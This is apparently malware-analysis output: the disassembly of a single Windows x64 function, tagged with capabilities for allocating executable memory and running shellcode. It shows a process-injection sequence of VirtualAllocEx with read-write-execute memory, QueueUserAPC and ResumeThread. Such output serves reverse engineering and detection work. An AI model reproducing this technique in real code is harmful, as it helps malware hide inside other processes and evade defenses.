Function at 0x140062d20
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Resume thread

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x198
lea rbp, [rsp + 0x1d0]
xor eax, eax
mov qword [rbp - 0x118], rax
xorps xmm4, xmm4
movaps xmmword [rbp - 0x110], xmm4
movabs rax, 0xffffffffffffff40
movaps xmmword [rbp + rax - 0x40], xmm4
movaps xmmword [rbp + rax - 0x30], xmm4
movaps xmmword [rbp + rax - 0x20], xmm4
add rax, 0x30
jne 0x140062d58
mov qword [rbp - 0x40], rax
lea rcx, [0x140108c08]
lea rdx, [0x1400f8aa0]
call fcn.14006331c
mov rbx, rax
mov qword [rbp - 0x138], rbx
movups xmm0, xmmword [rbp - 0x50]
movups xmmword [rbp - 0x130], xmm0
mov rcx, qword [rbp - 0x40]
mov qword [rbp - 0x120], rcx
lea rcx, [rbp - 0x130]
call fcn.1400e1a20
mov dword [rbp - 0x50], eax
movups xmm0, xmmword [rbp - 0x68]
movups xmmword [rbp - 0x130], xmm0
mov rcx, qword [rbp - 0x58]
mov qword [rbp - 0x120], rcx
lea rcx, [rbp - 0x130]
call fcn.1400e1a20
mov dword [rbp - 0x68], eax
xor r8d, r8d
mov dword [rsp + 0x20], r8d
mov dword [rsp + 0x28], 4
mov qword [rsp + 0x30], r8
lea r8, [0x1400fb260]
mov qword [rsp + 0x38], r8
lea r8, [rbp - 0xc8]
mov qword [rsp + 0x40], r8
lea r8, [rbp - 0xe0]
mov qword [rsp + 0x48], r8
lea r8, [rbp - 0x50]
lea r9, [rbp - 0x68]
lea rcx, [0x1400fb208]
xor edx, edx
call fcn.140063618
test eax, eax
jne 0x140062e3c
lea rcx, [0x1400fd498]
call fcn.1400c4e04
jmp 0x140062f8c
lea rcx, [rbp - 0x110]
mov edx, 0x2a
mov r8d, 1
call fcn.1400b0c24
mov ecx, dword [rbp - 0x100]
cmp ecx, dword [rbp - 0xf0]
ja 0x140063312
mov rdx, qword [rbp - 0xf8]
mov r8d, ecx
lea rdx, [rdx + r8*2]
mov r8d, dword [rbp - 0xf0]
sub r8d, ecx
mov rcx, rdx
cmp r8d, 0x2a
jb 0x140062ead
lea rdx, [0x140100fe8]
add rdx, 0xc
mov r8d, 0x54
call fcn.140069d40
mov ecx, dword [rbp - 0x100]
add ecx, 0x2a
mov dword [rbp - 0x100], ecx
jmp 0x140062ec0
lea rcx, [rbp - 0x110]
lea rdx, [0x140100fe8]
call fcn.1400b0dd4
lea rcx, [rbp - 0x110]
mov edx, dword [rbp - 0xd0]
call fcn.1400ecb20
lea rcx, [rbp - 0x110]
call fcn.1400b0cac
mov rcx, rax
call fcn.1400c4e04
lea rcx, [rbp - 0x110]
mov edx, 0xb
mov r8d, 1
call fcn.1400b0c24
mov ecx, dword [rbp - 0x100]
cmp ecx, dword [rbp - 0xf0]
ja 0x140063312
mov rdx, qword [rbp - 0xf8]
mov eax, ecx
lea rdx, [rdx + rax*2]
mov eax, dword [rbp - 0xf0]
sub eax, ecx
cmp eax, 0xb
jb 0x140062f53
lea rcx, [0x140105fd0]
add rcx, 0xc
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 6]
movups xmmword [rdx], xmm0
movups xmmword [rdx + 6], xmm1
mov ecx, dword [rbp - 0x100]
add ecx, 0xb
mov dword [rbp - 0x100], ecx
jmp 0x140062f66
lea rcx, [rbp - 0x110]
lea rdx, [0x140105fd0]
call fcn.1400b0dd4
lea rcx, [rbp - 0x110]
mov edx, dword [rbp - 0xcc]
call fcn.1400ecb20
lea rcx, [rbp - 0x110]
call fcn.1400b0cac
mov rcx, rax
call fcn.1400c4e04
lea rcx, [0x140109b40]
call fcn.1400c4e04
call fcn.1400c4dec
mov dword [rsp + 0x20], 0x40
mov esi, dword [rbx + 8]
mov r8d, esi
mov dword [rbp - 0x13c], r8d
mov rcx, qword [rbp - 0xe0]
mov qword [rbp - 0x148], rcx
xor edx, edx
mov qword [rbp - 0x150], rdx
mov r9d, 0x3000
mov dword [rbp - 0x140], r9d
lea rcx, [rbp - 0x178]
call fcn.140002d20
mov r8d, dword [rbp - 0x13c]
mov rcx, qword [rbp - 0x148]
mov rdx, qword [rbp - 0x150]
mov r9d, dword [rbp - 0x140]
call sub.KERNEL32.dll_VirtualAllocEx
mov rbx, rax
lea rcx, [rbp - 0x178]
call fcn.140002d70
lea rcx, [rbp - 0x110]
mov edx, 0x18
mov r8d, 1
call fcn.1400b0c24
mov ecx, dword [rbp - 0x100]
mov edx, dword [rbp - 0xf0]
cmp ecx, edx
ja 0x140063312
mov rax, qword [rbp - 0xf8]
mov r8d, ecx
lea rax, [rax + r8*2]
sub edx, ecx
cmp edx, 0x18
jb 0x140063084
lea rcx, [0x1400fb1a0]
add rcx, 0xc
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
movups xmm2, xmmword [rcx + 0x20]
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax + 0x20], xmm2
mov ecx, dword [rbp - 0x100]
add ecx, 0x18
mov dword [rbp - 0x100], ecx
jmp 0x140063097
lea rcx, [rbp - 0x110]
lea rdx, [0x1400fb1a0]
call fcn.1400b0dd4
lea rcx, [rbp - 0x110]
mov rdx, rbx
lea r8, [0x140107e48]
call fcn.1400ed6e0
lea rcx, [rbp - 0x110]
call fcn.1400b0cac
mov rcx, rax
call fcn.1400c4e04
lea r9, [rbp - 0x118]
mov qword [rsp + 0x20], r9
mov r9d, esi
mov rcx, qword [rbp - 0xe0]
mov rdx, rbx
mov r8, qword [rbp - 0x138]
call fcn.140063944
lea rcx, [0x140101770]
call fcn.1400c4e04
lea r8, [rbp - 0xe8]
mov qword [rsp + 0x20], r8
mov r8d, esi
mov rcx, qword [rbp - 0xe0]
mov rdx, rbx
mov r9d, 0x20
call fcn.1400639e8
lea rcx, [rbp - 0x110]
mov edx, 0x44
mov r8d, 1
call fcn.1400b0c24
mov ecx, dword [rbp - 0x100]
mov edx, dword [rbp - 0xf0]
cmp ecx, edx
ja 0x140063312
mov r8, qword [rbp - 0xf8]
mov eax, ecx
lea r8, [r8 + rax*2]
sub edx, ecx
mov rcx, r8
cmp edx, 0x44
jb 0x14006317f
lea rdx, [0x1400ff590]
add rdx, 0xc
mov r8d, 0x88
call fcn.140069d40
mov ecx, dword [rbp - 0x100]
add ecx, 0x44
mov dword [rbp - 0x100], ecx
jmp 0x140063192
lea rcx, [rbp - 0x110]
lea rdx, [0x1400ff590]
call fcn.1400b0dd4
lea rcx, [rbp - 0x110]
mov edx, dword [rbp - 0xe8]
call fcn.1400e18c0
lea rcx, [rbp - 0x110]
call fcn.1400b0cac
mov rcx, rax
call fcn.1400c4e04
call fcn.1400c4dec
mov rcx, rbx
mov qword [rbp - 0x150], rcx
mov rdx, qword [rbp - 0xd8]
mov qword [rbp - 0x148], rdx
xor r8d, r8d
mov dword [rbp - 0x140], r8d
lea rcx, [rbp - 0x178]
call fcn.140002d20
mov rcx, qword [rbp - 0x150]
mov rdx, qword [rbp - 0x148]
mov r8d, dword [rbp - 0x140]
call sub.KERNEL32.dll_QueueUserAPC
lea rcx, [rbp - 0x178]
call fcn.140002d70
lea rcx, [0x1400f9b50]
call fcn.1400c4e04
call fcn.1400c4dec
mov rcx, qword [rbp - 0xd8]
mov qword [rbp - 0x148], rcx
lea rcx, [rbp - 0x178]
call fcn.140002d20
mov rcx, qword [rbp - 0x148]
call sub.KERNEL32.dll_ResumeThread
mov ebx, eax
lea rcx, [rbp - 0x178]
call fcn.140002d70
lea rcx, [rbp - 0x110]
mov edx, 0x18
mov r8d, 1
call fcn.1400b0c24
mov ecx, dword [rbp - 0x100]
mov edx, dword [rbp - 0xf0]
cmp ecx, edx
ja 0x140063312
mov rax, qword [rbp - 0xf8]
mov r8d, ecx
lea rax, [rax + r8*2]
sub edx, ecx
cmp edx, 0x18
jb 0x1400632c8
lea rcx, [0x1401061a0]
add rcx, 0xc
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
movups xmm2, xmmword [rcx + 0x20]
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax + 0x20], xmm2
mov ecx, dword [rbp - 0x100]
add ecx, 0x18
mov dword [rbp - 0x100], ecx
jmp 0x1400632db
lea rcx, [rbp - 0x110]
lea rdx, [0x1401061a0]
call fcn.1400b0dd4
lea rcx, [rbp - 0x110]
mov edx, ebx
call fcn.1400f09a0
lea rcx, [rbp - 0x110]
call fcn.1400b0cac
mov rcx, rax
call fcn.1400c4e04
nop
add rsp, 0x198
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
call fcn.140079558
int3